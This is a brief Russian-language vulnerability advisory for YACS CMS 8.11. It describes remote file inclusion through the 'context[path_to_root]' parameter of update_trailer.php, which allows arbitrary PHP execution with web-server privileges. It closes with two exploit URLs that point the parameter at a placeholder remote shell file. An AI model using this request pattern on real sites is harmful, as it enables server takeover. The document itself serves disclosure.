Программа: YACS CMS 8.11
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки
входных данных в параметре «context[path_to_root]» сценарием update_trailer.php.
Удаленный пользователь может выполнить произвольный PHP сценарий на целевой
системе с привилегиями Web сервера.
Эксплоит:
http://127.0.0.1/path/yacs/scripts/update_trailer.php?context[path_to_root]=[shell.txt?]
http://127.0.0.1/yacs/scripts/update_trailer.php?context[path_to_root]=[shell.txt?]
